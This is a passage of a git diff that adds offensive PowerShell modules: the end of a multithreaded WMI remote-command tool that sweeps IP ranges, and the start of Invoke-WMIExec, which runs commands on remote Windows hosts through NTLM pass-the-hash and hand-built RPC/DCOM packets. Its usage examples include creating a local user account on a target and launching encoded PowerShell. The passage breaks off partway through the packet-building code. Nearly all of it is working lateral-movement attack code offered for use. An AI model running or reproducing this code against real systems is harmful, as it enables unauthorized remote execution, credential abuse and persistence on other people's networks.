If ($EndIP -isnot [double]) + { + $EndIP = $EndIP -as [double] + } + If ($StartIP -isnot [double]) + { + $StartIP = $StartIP -as [double] + } + # We turn the start IP and end IP in to strings so they can be used. + $StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString + $EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString + New-IPv4Range $StartIP $EndIP +} + +$runme = +{ + param + ( + [Object] + $IPAddress, + [Object] + $Creds, + [Object] + $Command + ) + + $getcreds = $Creds + $Port = 135 + $Socket = New-Object Net.Sockets.TcpClient + $Socket.client.ReceiveTimeout = 2000 + $ErrorActionPreference = 'SilentlyContinue' + $Socket.Connect($IPAddress, $Port) + $ErrorActionPreference = 'Continue' + + if ($Socket.Connected) { + #Object to store result + $endpointResult = New-Object PSObject | Select-Object Host, PortOpen + $endpointResult.PortOpen = 'Open' + $endpointResult.Host = $IPAddress + $Socket.Close() + } else { + $portclosed = 'True' + } + + $Socket = $null + + if ($endpointResult.PortOpen -eq 'Open') + { + # run a command of my choice + $WMIResult = Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $IPAddress -Credential $getcreds -ArgumentList $Command + If ($WMIResult.Returnvalue -eq 0) { + Write-Output "Executed WMI Command with Sucess: $Command `n" + } else { + Write-Output "WMI Command Failed - Could be due to permissions or UAC is enabled on the remote host, Try mounting the C$ share to check administrative access to the host" + } + } else { + Write-Output "TCP Port 135 not available on host: $IPAddress" + } + return $endpointResult +} +<# +.Synopsis + WMI Command over Windows RPC Ports (TCP 135) - @benpturner +.DESCRIPTION + WMI Tool written to search for files younger than a month on network shares. This also searches is the current logged in user is part of the Local Administrators group. All communications is done over Windows RPC Ports (TCP 135) +.EXAMPLE + Invoke-WMIChecker -IPAddress 172.16.0.205 +.EXAMPLE + Invoke-WMIChecker -IPRangeCIDR 172.16.0.0/22 -Threads 100 -Command "cmd /c echo 1" +.EXAMPLE + Invoke-WMIChecker -IPList C:\Temp\Hostlist.txt -Threads 30 -Command "powershell -e AB9300038494" +.INPUTS + Inputs to this cmdlet (if any) +.OUTPUTS + Output from this cmdlet (if any) +.NOTES + General notes +.COMPONENT + The component this cmdlet belongs to +.ROLE + The role this cmdlet belongs to +.FUNCTIONALITY + The functionality that best describes this cmdlet +#> +function Invoke-WMICommand +{ + param + ( + [Object] + $IPAddress, + [Object] + $IPRangeCIDR, + [Object] + $IPList, + [Object] + $Threads, + [Object] + $Command, + [Object] + $username, + [Object] + $password + ) + + if ($username) { + $PSS = ConvertTo-SecureString $password -AsPlainText -Force + $getcreds = new-object system.management.automation.PSCredential $username,$PSS + } else { + $getcreds = Get-Credential + } + + if ($IPList) {$iprangefull = Get-Content $IPList} + if ($IPRangeCIDR) {$iprangefull = New-IPv4RangeFromCIDR $IPRangeCIDR} + if ($IPAddress) {$iprangefull = $IPAddress} + Write-Output '' + Write-Output $iprangefull.count + "Total hosts read from file" + + $jobs = @() + $start = get-date + Write-Output "Begin Scanning at $start" + + #Multithreading setup + # create a pool of maxThread runspaces + if (!$Threads){$Threads = 64} + $pool = [runspacefactory]::CreateRunspacePool(1, $Threads) + $pool.Open() + $endpointResults = @() + $jobs = @() + $ps = @() + $wait = @() + + $i = 0 + #Loop through the endpoints starting a background job for each endpoint + foreach ($endpoint in $iprangefull) + { + while ($($pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -milliseconds 500 + } + + # create a "powershell pipeline runner" + $ps += [powershell]::create() + + # assign our pool of 3 runspaces to use + $ps[$i].runspacepool = $pool + + # command to run + [void]$ps[$i].AddScript($runme) + [void]$ps[$i].AddParameter('IPAddress', $endpoint) + [void]$ps[$i].AddParameter('Creds', $getcreds) + [void]$ps[$i].AddParameter('Command', $Command) + # start job + $jobs += $ps[$i].BeginInvoke(); + + # store wait handles for WaitForAll call + $wait += $jobs[$i].AsyncWaitHandle + + $i++ + } + + Write-Output 'Waiting for scanning threads to finish...' + + $waitTimeout = get-date + + while ($($jobs | Where-Object {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60) { + Start-Sleep -milliseconds 500 + } + + # end async call + for ($y = 0; $y -lt $i; $y++) { + + try { + # complete async job + $endpointResults += $ps[$y].EndInvoke($jobs[$y]) + + } catch { + + # oops-ee! + write-warning "error: $_" + } + + finally { + $ps[$y].Dispose() + } + } + + $pool.Dispose() + + #Statistics + $end = get-date + $totaltime = $end - $start + + Write-Output "We scanned $($iprangefull.count) endpoints in $($totaltime.totalseconds) seconds" + $endpointResults +} \ No newline at end of file diff --git a/Modules/Invoke-WMIExec.ps1 b/Modules/Invoke-WMIExec.ps1 new file mode 100644 index 0000000..17b3743 --- /dev/null +++ b/Modules/Invoke-WMIExec.ps1 @@ -0,0 +1,1667 @@ +function Invoke-WMIExec +{ +<# +.SYNOPSIS +Invoke-WMIExec performs WMI command execution on targets using NTLMv2 pass the hash authentication. + +.PARAMETER Target +Hostname or IP address of target. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after +the username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.PARAMETER Command +Command to execute on the target. If a command is not specified, the function will just check to see if the +username and hash has access to WMI on the target. + +.PARAMETER Sleep +Default = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this +setting if you are experiencing strange results. + +.EXAMPLE +Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + +.EXAMPLE +Invoke-WMIExec -Target 192.168.100.20 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "cmd.exe /c net user WMIExec Winter2017 /add" + +.EXAMPLE +Invoke-WMIExec -Target 192.168.100.20 -Username administrator -Password Test + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding()] +param +( + [parameter(Mandatory=$true)][String]$Target, + [parameter(Mandatory=$true)][String]$Username, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$Command, + [parameter(Mandatory=$false)][String]$Password, + [parameter(Mandatory=$false)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][Int]$Sleep=10, + [parameter(Mandatory=$false)][String]$Name +) + +if($Command) +{ + $WMI_execute = $true +} + +if(!$Password -and !$Hash){ + exit +} + +if($Password){ + $Hash = Get-MD4Hash -DataToHash $([Text.Encoding]::Unicode.GetBytes($Password)) + Write-Output "Hash being used: $Hash" +} + +function ConvertFrom-PacketOrderedDictionary +{ + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array +} + +#RPC + +function Get-PacketRPCBind() +{ + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) + $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) + $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) + $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind +} + +function Get-PacketRPCAUTH3() +{ + param([Byte[]]$packet_NTLMSSP) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0,1] + [Byte[]]$packet_RPC_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length + 28) + $packet_RPC_length = $packet_RPC_length[0,1] + + $packet_RPCAuth3 = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCAuth3.Add("RPCAUTH3_Version",[Byte[]](0x05)) + $packet_RPCAuth3.Add("RPCAUTH3_VersionMinor",[Byte[]](0x00)) + $packet_RPCAuth3.Add("RPCAUTH3_PacketType",[Byte[]](0x10)) + $packet_RPCAuth3.Add("RPCAUTH3_PacketFlags",[Byte[]](0x03)) + $packet_RPCAuth3.Add("RPCAUTH3_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCAuth3.Add("RPCAUTH3_FragLength",$packet_RPC_length) + $packet_RPCAuth3.Add("RPCAUTH3_AuthLength",$packet_NTLMSSP_length) + $packet_RPCAuth3.Add("RPCAUTH3_CallID",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_RPCAuth3.Add("RPCAUTH3_MaxXmitFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAuth3.Add("RPCAUTH3_MaxRecvFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAuth3.Add("RPCAUTH3_AuthType",[Byte[]](0x0a)) + $packet_RPCAuth3.Add("RPCAUTH3_AuthLevel",[Byte[]](0x02)) + $packet_RPCAuth3.Add("RPCAUTH3_AuthPadLength",[Byte[]](0x00)) + $packet_RPCAuth3.Add("RPCAUTH3_AuthReserved",[Byte[]](0x00)) + $packet_RPCAuth3.Add("RPCAUTH3_ContextID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCAuth3.Add("RPCAUTH3_NTLMSSP",$packet_NTLMSSP) + + return $packet_RPCAuth3 +} + +function Get-PacketRPCRequest() +{ + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) + $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) + $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) + $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) + $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) + } + + return $packet_RPCRequest +} + +function Get-PacketRPCAlterContext() +{ + param([Byte[]]$packet_assoc_group,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_interface_UUID) + + $packet_RPCAlterContext = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCAlterContext.Add("RPCAlterContext_Version",[Byte[]](0x05)) + $packet_RPCAlterContext.Add("RPCAlterContext_VersionMinor",[Byte[]](0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_PacketType",[Byte[]](0x0e)) + $packet_RPCAlterContext.Add("RPCAlterContext_PacketFlags",[Byte[]](0x03)) + $packet_RPCAlterContext.Add("RPCAlterContext_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_FragLength",[Byte[]](0x48,0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_CallID",$packet_call_ID) + $packet_RPCAlterContext.Add("RPCAlterContext_MaxXmitFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAlterContext.Add("RPCAlterContext_MaxRecvFrag",[Byte[]](0xd0,0x16)) + $packet_RPCAlterContext.Add("RPCAlterContext_AssocGroup",$packet_assoc_group) + $packet_RPCAlterContext.Add("RPCAlterContext_NumCtxItems",[Byte[]](0x01)) + $packet_RPCAlterContext.Add("RPCAlterContext_Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_ContextID",$packet_context_ID) + $packet_RPCAlterContext.Add("RPCAlterContext_NumTransItems",[Byte[]](0x01)) + $packet_RPCAlterContext.Add("RPCAlterContext_Unknown2",[Byte[]](0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_Interface",$packet_interface_UUID) + $packet_RPCAlterContext.Add("RPCAlterContext_InterfaceVer",[Byte[]](0x00,0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCAlterContext.Add("RPCAlterContext_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCAlterContext.Add("RPCAlterContext_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + return $packet_RPCAlterContext +} + +function Get-PacketNTLMSSPVerifier() +{ + param([Int]$packet_auth_padding,[Byte[]]$packet_auth_level,[Byte[]]$packet_sequence_number) + + $packet_NTLMSSPVerifier = New-Object System.Collections.Specialized.OrderedDictionary + + if($packet_auth_padding -eq 4) + { + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding",[Byte[]](0x00,0x00,0x00,0x00)) + [Byte[]]$packet_auth_pad_length = 0x04 + } + elseif($packet_auth_padding -eq 8) + { + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + [Byte[]]$packet_auth_pad_length = 0x08 + } + elseif($packet_auth_padding -eq 12) + { + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + [Byte[]]$packet_auth_pad_length = 0x0c + } + else + { + [Byte[]]$packet_auth_pad_length = 0x00 + } + + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthType",[Byte[]](0x0a)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthLevel",$packet_auth_level) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadLen",$packet_auth_pad_length) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthReserved",[Byte[]](0x00)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthContextID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierVersionNumber",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierChecksum",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierSequenceNumber",$packet_sequence_number) + + return $packet_NTLMSSPVerifier +} + +function Get-PacketDCOMRemQueryInterface() +{ + param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IID) + + $packet_DCOMRemQueryInterface = New-Object System.Collections.Specialized.OrderedDictionary + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_VersionMajor",[Byte[]](0x05,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_VersionMinor",[Byte[]](0x07,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_CausalityID",$packet_causality_ID) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IPID",$packet_IPID) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Refs",[Byte[]](0x05,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IIDs",[Byte[]](0x01,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Unknown",[Byte[]](0x00,0x00,0x01,0x00,0x00,0x00)) + $packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IID",$packet_IID) + + return $packet_DCOMRemQueryInterface +} + +function Get-PacketDCOMRemRelease() +{ + param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IPID2) + + $packet_DCOMRemRelease = New-Object System.Collections.Specialized.OrderedDictionary + $packet_DCOMRemRelease.Add("DCOMRemRelease_VersionMajor",[Byte[]](0x05,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_VersionMinor",[Byte[]](0x07,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_CausalityID",$packet_causality_ID) + $packet_DCOMRemRelease.Add("DCOMRemRelease_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_Unknown",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_InterfaceRefs",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_IPID",$packet_IPID) + $packet_DCOMRemRelease.Add("DCOMRemRelease_PublicRefs",[Byte[]](0x05,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_PrivateRefs",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_IPID2",$packet_IPID2) + $packet_DCOMRemRelease.Add("DCOMRemRelease_PublicRefs2",[Byte[]](0x05,0x00,0x00,0x00)) + $packet_DCOMRemRelease.Add("DCOMRemRelease_PrivateRefs2",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_DCOMRemRelease +} + +function Get-PacketDCOMRemoteCreateInstance() +{ + param([Byte[]]$packet_causality_ID,[String]$packet_target) + + [Byte[]]$packet_target_unicode = [System.Text.Encoding]::Unicode.GetBytes($packet_target) + [Byte[]]$packet_target_length = [System.BitConverter]::GetBytes($packet_target.Length + 1) + $packet_target_unicode += ,0x00 * (([Math]::Truncate($packet_target_unicode.Length / 8 + 1) * 8) - $packet_target_unicode.Length) + [Byte[]]$packet_cntdata = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 720) + [Byte[]]$packet_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 680) + [Byte[]]$packet_total_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 664) + [Byte[]]$packet_private_header = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 40) + 0x00,0x00,0x00,0x00 + [Byte[]]$packet_property_data_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 56) + + $packet_DCOMRemoteCreateInstance = New-Object System.Collections.Specialized.OrderedDictionary + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMVersionMajor",[Byte[]](0x05,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMVersionMinor",[Byte[]](0x07,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMFlags",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMReserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMCausalityID",$packet_causality_ID) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown3",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown4",$packet_cntdata) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCntData",$packet_cntdata) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFIID",[Byte[]](0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFCLSID",[Byte[]](0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFSize",$packet_size) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesTotalSize",$packet_total_size) + $packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00)) + 